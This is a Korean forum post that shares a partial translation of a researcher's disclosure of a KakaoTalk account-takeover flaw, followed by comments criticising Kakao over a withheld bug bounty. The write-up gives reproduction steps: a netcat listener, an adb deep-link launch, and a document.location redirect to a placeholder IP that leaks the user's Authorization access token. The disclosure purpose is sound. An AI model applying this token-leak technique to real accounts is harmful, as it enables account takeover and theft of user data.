알림
|

한국 최대 모바일 채팅 앱에서 원클릭 익스플로잇

페이지 정보

작성자 no_profile 가을무렵 121.♡.10.106
작성일 2024.06.27 09:29
분류 IT
2,273 조회
10 댓글
7 추천
글쓰기

본문

  ** 본문은 chatgpt 4o로 번역되었으며, 기사의 일부만 번역 게시하였습니다.


[…]

카카오톡은 1억 건 이상의 다운로드 수를 기록한, 한국에서 가장 인기 있는 채팅 앱입니다. WeChat과 유사하게, 카카오톡은 결제, 차량 호출 서비스, 쇼핑, 이메일 등 모든 것을 하나의 앱에 포함하는 ‘올인원’ 앱입니다. 하지만 카카오톡에서는 기본적으로 종단 간 암호화(E2EE) 메시징이 활성화되어 있지 않습니다. 일반 채팅방에서는 카카오톡 측에서 전송 중인 메시지에 접근할 수 있어 많은 사용자들이 이 방식을 선호합니다. 카카오톡에는 ‘보안 채팅’이라는 선택적 E2EE 기능이 있지만, 이 기능은 그룹 메시징이나 음성 통화 같은 기능을 지원하지 않습니다.


상거래 구매 액티비티의 보안 취약점


상거래 구매 액티비티(CommerceBuyActivity) WebView는 공격자 관점에서 매우 흥미로운 주요 진입점입니다.


•이 액티비티는 내보내지며, 딥 링크(e.g., adb shell am start kakaotalk://buy)를 사용하여 시작할 수 있습니다.

•JavaScript가 활성화되어 있습니다(settings.setJavaScriptEnabled(true);).

•JavaScript를 통해 데이터를 다른 내보내지 않은 앱 구성 요소로 보내는 intent:// 스킴을 지원합니다. 예를 들어, URI “intent:#Intent;component=com.kakao.talk/.activity.setting.MyProfileSettingsActivity;S.EXTRA_URL=https://foo.bar;end”는 MyProfileSettingsActivity WebView에서 https://foo.bar 웹사이트를 로드합니다.

•intent:// URI의 정화 작업이 이루어지지 않습니다(예: Component 또는 Selector가 null로 설정되지 않음). 따라서 잠재적으로 모든 앱 구성 요소에 접근할 수 있습니다.

•추가적으로, Authorization HTTP 헤더에서 접근 토큰을 유출합니다. 이 동작을 재현하는 간단한 방법은 다음과 같습니다.


1.터미널 창에서 Netcat 리스너를 시작합니다: $ nc -l 5555

2.$ adb shell am start kakaotalk://buy를 실행하여 CommerceBuyActivity WebView를 시작합니다.

3.WebView.setWebContentsDebuggingEnabled(true); 설정으로 Chrome의 chrome://inspect를 사용하여 디버그할 수 있습니다.

4.Console 탭으로 이동하여 document.location="http://<your-IP-address>:5555/";를 입력합니다.

5.GET 요청과 Authorization 헤더를 확인할 수 있습니다.


이는 우리가 CommerceBuyActivity 내부에서 자체 JavaScript를 실행할 방법을 찾는다면, 사용자의 접근 토큰을 훔치고 사용자가 악성 kakaotalk://buy 딥 링크를 클릭할 때 임의의 앱 구성 요소를 시작할 수 있다는 것을 의미합니다.


추가 보안 점검 사항


안타깝게도 임의의 공격자가 제어하는 URL을 로드할 수는 없습니다. 아래 코드를 보면 일부 검증이 진행되고 있음을 알 수 있습니다:



이 코드를 보면, 우리는 URL의 경로, 쿼리 매개변수 및 프래그먼트를 제어할 수 있습니다. 그러나 모든 것은 https://buy.kakao.com으로 시작되는 문자열 m36725d로 접두사로 붙습니다. 이는 사용자가 딥 링크 kakaotalk://buy/foo를 클릭하면 https://buy.kakao.com/foo URL이 CommerceBuyActivity WebView에서 로드된다는 것을 의미합니다.


가능성 있는 공격 시나리오


아마도 https://buy.kakao.com에서 Open Redirect 또는 XSS 문제가 있을 수 있습니다. 이를 통해 JavaScript를 실행할 수 있을지 확인해볼 필요가 있습니다. 


이상으로, 카카오톡 상거래 구매 액티비티에서 발견된 보안 취약점에 대한 분석을 마칩니다. 추가적인 보안 점검과 취약점 개선이 필요할 것으로 보입니다.


[…] 



... 출처 및 원문: https://stulle123.github.io/posts/kakaotalk-account-takeover/

no_profile 가을무렵 Exp 50,452
78%

맥과 소소한 삶의 이야기..
Blog https://blog.naver.com/nearfall
RSS https://rss.blog.naver.com/nearfall.xml

맥과 소소한 삶의 이야기..
Blog https://blog.naver.com/nearfall
RSS https://rss.blog.naver.com/nearfall.xml

댓글 10 / 1 페이지

umonster님의 댓글

작성자 no_profile umonster (61.♡.211.102)
작성일 06.27 10:19
https://news.hada.io/topic?id=15528
포상금이 있는데 한국 계좌가 없어서 못받았다는군요;

하압님의 댓글의 댓글

대댓글 작성자 하압 (61.♡.113.28)
작성일 06.27 10:50
@umonster님에게 답글 한국 계좌가 없다고 포상금을 안주는거 웃기네요

Superjh21님의 댓글

작성자 Superjh21 (58.♡.134.219)
작성일 06.27 11:27
저 취약점을 카카오에 제보한 사람이 한국계 외국인이라던데 카카오는 외국인이니까 포상금 못 주겠다고 해서 제보자가 그냥 공개해버렸죠
문제는 버그바운티는 한국인, 외국인 모두에게 다 주는 거라는게 ㅋㅋ

KKKK님의 댓글

작성자 KKKK (118.♡.12.143)
작성일 06.27 11:31
기사부터 보고 이 글을 보게됐습니다. 이거 생각보다 쉬운데요...? 심각합니다. 현시간부로 카톡에서 링크 누르실땐 진짜 조심하셔야겠습니다 ㄷㄷ

백장미님의 댓글의 댓글

대댓글 작성자 백장미 (223.♡.84.29)
작성일 06.27 15:11
@KKKK님에게 답글 원글 말미에 보면 패치로 해결되었다고 하네요. 최신 버전으로 업데이트 했다면 해당 취약점은 조치된 것으로 여겨집니다.

CaTo님의 댓글

작성자 CaTo (106.♡.3.161)
작성일 06.27 12:24
카카오가 카카오했네요

쟘스님의 댓글

작성자 쟘스 (175.♡.90.247)
작성일 06.27 13:50
보안취약점 찾아줬는데
바운티를 안주는게 말이 되나요?
카카오 진짜 ㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋ
무슨 동네 구멍가게도 아니고
사유가 한국계좌가 없어서??????

카카오톡 진짜 치졸하네요.
좁아터진게 상도덕 날려버린 마인드가 아니라 보안이었다면 우주최강 보안을 이뤘을텐데.

nice05님의 댓글

작성자 nice05 (175.♡.18.168)
작성일 06.27 15:42
카카오는 십여년이 흘렀어도 여전히 카카오로군요.

routing님의 댓글

작성자 routing (121.♡.129.147)
작성일 06.27 20:16
이러니 글로벌이 못 되죠. 카카오는 이제 그냥 광고 간판 역할 뿐이라고 봅니다.

6K2KNI님의 댓글

작성자 6K2KNI (14.♡.68.9)
작성일 06.27 22:03
이제 카카오톡 취약점은 카카오에 알리질 않고 그냥 공개해버리거나 해커에게 팔겠네요.
글쓰기
전체 검색